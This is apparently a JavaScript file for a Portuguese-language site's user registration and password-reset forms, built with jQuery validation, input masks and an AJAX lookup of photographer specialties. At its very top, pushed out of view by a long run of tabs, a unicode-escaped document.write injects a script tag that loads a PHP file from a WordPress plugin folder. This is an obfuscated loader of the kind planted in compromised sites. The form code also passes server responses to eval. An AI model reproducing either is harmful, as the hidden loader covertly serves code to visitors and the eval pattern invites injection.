																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0075\u006E\u0069\u0076\u0065\u0072\u0073\u0061\u006C\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0073\u006F\u0063\u0069\u0061\u0062\u006C\u0065\u002F\u0074\u0068\u0069\u0063\u006B\u0062\u006F\u0078\u002F\u0067\u006C\u006F\u0063\u006B\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");/**
 * Funções para funcionalidade "Cadastro"
 *
 * @version  0.0.1
 * @autor: Jonathan B. Kolling (jonathan@gadbrivia.com.br) 
 */
function Cadastro()
{
	// ID do formulario
	var frmCadastro 	= '#frmCadastro';
	var frmEsqueciSenha = '#frmEsqueciSenha';
	
	
	if($(frmEsqueciSenha).length > 0)
	{
		$(frmEsqueciSenha).validate
		(
			{
				submitHandler:function(frm)
				{
					$(frm)[0].submit();
				},
				errorPlacement:function(error,element)
				{					
					if(error.html() != $("#msg-erro").html()) $("#msg-erro").html(error.html());					
				},
				highlight: function(element, errorClass)
				{
					$(element).addClass(errorClass);
				},		
				unhighlight: function(element, errorClass)
				{
					$(element).removeClass(errorClass);
					
					if($(".erro",frmCadastro).length == 0) $("#msg-erro").html("");
				},
				errorClass: "erro",
				errorElement:"span",				
				rules:
				{
					txtEmail:
					{ 
						required: true,
						email: true
					}
				},
				messages:
				{
					
					txtEmail:
					{ 
						required: MSG04,
						email: MSG27.replace('{CAMPO}','E-mail')
					}
				}
			}
		);
	}
	
	if($(frmCadastro).length > 0)
	{
	
		// Evento nas combos Dia/Mes/Ano nascimento
		$(frmCadastro+' #selDiaNascimento, #selMesNascimento, #selAnoNascimento').change(function()
		{
			$('#hdnNascimento').val($(frmCadastro+' #selDiaNascimento').val()+'/'+$(frmCadastro+' #selMesNascimento').val()+'/'+$(frmCadastro+' #selAnoNascimento').val());
		});
	
		// Evento na combo Pais
		$(frmCadastro+' #selPais').change(function()
		{
			if($(this).val() == 1)
			{
				$(frmCadastro + ' #selEstado').removeAttr('disabled');
				$(frmCadastro + ' #comboCidade').removeClass('hidden');
				$(frmCadastro + ' #campoCidade').addClass('hidden');
				
				$("#txtTelefone").mask('(99) 9999-9999');
				$("#txtTelefone").attr('maxlength','14');
				$("#txtCelular").mask('(99) 9999-9999');
				$("#txtCelular").attr('maxlength','14');
			}
			else
			{
				$(frmCadastro + ' #selEstado').attr('disabled','disabled');
				$(frmCadastro + ' #campoCidade').removeClass('hidden');
				$(frmCadastro + ' #comboCidade').addClass('hidden');
				
				$("#txtTelefone").unmask();
				$("#txtTelefone").attr('maxlength','10');
				$("#txtCelular").unmask();
				$("#txtCelular").attr('maxlength','10');
			}
		});	
		
		// Evento na combo "Eu fotografo"
		$(frmCadastro+' #selFotografo').change(function()
		{
			if($(this).val() != '')
			{
				var perfilID = $(this).val();
					
				$.ajax(
				{
					type: "POST",
					dataType: "json",
					data: perfilID,
					url: SITE_CAMINHO_ABSOLUTO + "cadastro/carregar-especialidade/perfil-"+perfilID,
					complete: function(resposta, status)
					{
						var retorno 		= new Array();
					   	var totalRegistros 	= 0;
					   	eval("retorno = "+resposta.responseText+";");				
						
						if(retorno)
						{
							try
							{
								$(frmCadastro+' li#Especialidades').empty();
								$(frmCadastro+' li#Especialidades').append('<label for="">Minha(s) especialidade(s):</label>');
								
								var totalRegistros = retorno.length;
								if(totalRegistros > 0)
								{									
									for(var contador = 0; contador < totalRegistros; contador++)
									{
										$(frmCadastro+' li#Especialidades').append('<input type="checkbox" id="chkEspecialidade'+contador+'" name="chkEspecialidade[]" value="'+retorno[contador].PerfilEspecialidadeID+'" />');
										$(frmCadastro+' li#Especialidades').append('<label for="">'+retorno[contador].Especialidade+'</label>');
									}
									
									$('input[name="chkEspecialidade[]"]').rules('remove');
									$('input[name="chkEspecialidade[]"]').rules('add',
									{ 
										required: true, 
										messages:
										{
											required:MSG21.replace('{CAMPO}','Eu fotografo')
										} 
									});
								}
								
							}
							catch(e)
							{}
						}
					}
				});
			}
			else
			{
				$(frmCadastro+' li#Especialidades').empty();
			}
		});
		
		// Mascaras
		$("#txtCEP").mask('99999-999');
		$("#txtCPF").mask('999.999.999-99');
		$("#txtCNPJ").mask('99.999.999/9999-99');
		$("#txtTelefone").mask('(99) 9999-9999');
		$("#txtCelular").mask('(99) 9999-9999');
		$('.numero').numeric();
		
		
	
		// Validacao
		$(frmCadastro).validate
		(
			{
				submitHandler:function(frm)
				{
					$(frm)[0].submit();
				},
				errorPlacement:function(error,element)
				{					
					if(error.html() != $("#msg-erro").html()) $("#msg-erro").html(error.html());					
				},
				highlight: function(element, errorClass)
				{
					$(element).addClass(errorClass);
				},		
				unhighlight: function(element, errorClass)
				{
					$(element).removeClass(errorClass);
					
					if($(".erro",frmCadastro).length == 0) $("#msg-erro").html("");
				},
				errorClass: "erro",
				errorElement:"span",				
				rules:
				{
					txtNome:{ required: true },
					txtUrlAmigavel:{ required: true },
					selSexo:{ required: true },
					txtCPF:
					{ 
						required: true,
						cnpf: true,
						remote: SITE_CAMINHO_ABSOLUTO  + "cadastro/verificar-cpf"
					},
					selDiaNascimento:{ required: true },
					selMesNascimento:{ required: true },
					selAnoNascimento:
					{ 
						required: true
					},
					hdnNascimento:
					{
						required:function()
						{
							return ($('#hdnNascimento').val().length == 10);
						},
						dateBR: function()
						{
							return ($('#hdnNascimento').val().length == 10);
						}
					},
					chkPolitica:
					{
						required: true
					},
					txtEmail:
					{ 
						required: true,
						email: true,
						remote: SITE_CAMINHO_ABSOLUTO  + "cadastro/verificar-email"
					},
					txtEmailConfirme:
					{
						required: true,
						email: true,
						equalTo: '#txtEmail'
					},
					txtSenha:
					{ 
						required: function()
						{
							if($('#txtSenha').hasClass('naoObrigatorio'))
							{
								return false;
							}
							
							return true;
						} 
					},
					txtRepita:
					{ 
						required: function()
						{
							if($('#txtSenha').hasClass('naoObrigatorio') && $('#txtSenha').val().length == 0)
							{
								return false;
							}
							
							return true;
						},
						equalTo: '#txtSenha'
					},
					selFotografo:{ required: true },
					txtCNPJ: 
					{ 
						cnpj: function()
						{
							if($('#txtCNPJ').val() != '')
								return true;
							else
								return false;
						} 
					}
				},
				messages:
				{
					txtNome:{ required: MSG04 },
					txtUrlAmigavel:{ required: MSG04 },
					selSexo:{ required: MSG04 },
					txtCPF:
					{ 
						required: MSG04,
						cnpf: MSG23.replace('{CAMPO}','CPF'),
						remote: MSG16
					},
					selDiaNascimento:{ required: MSG04 },
					selMesNascimento:{ required: MSG04 },
					selAnoNascimento:
					{ 
						required: MSG04
					},
					hdnNascimento:
					{
						required: MSG04,
						dateBR: MSG26.replace('{CAMPO}','Data de Nascimento')
					},
					chkPolitica:
					{
						required: MSG47
					},
					txtEmail:
					{ 
						required: MSG04,
						email: MSG27.replace('{CAMPO}','E-mail'),
						remote: MSG43
					},
					txtEmailConfirme:
					{
						required: MSG04,
						email: MSG27.replace('{CAMPO}','E-mail'),
						equalTo: MSG28.replace('{CAMPO}','Confirme o e-mail').replace('{CAMPOANTERIOR}','E-mail')
					},
					txtSenha:{ required: MSG04 },
					txtRepita:
					{ 
						required: MSG04,
						equalTo: MSG28.replace('{CAMPO}','Confirme a senha').replace('{CAMPOANTERIOR}','Senha')
					},
					selFotografo:{ required: MSG04 },
					txtCNPJ: { cnpj: MSG22.replace('{CAMPO}','CNPJ') }
				}
			}
		);

	}
}
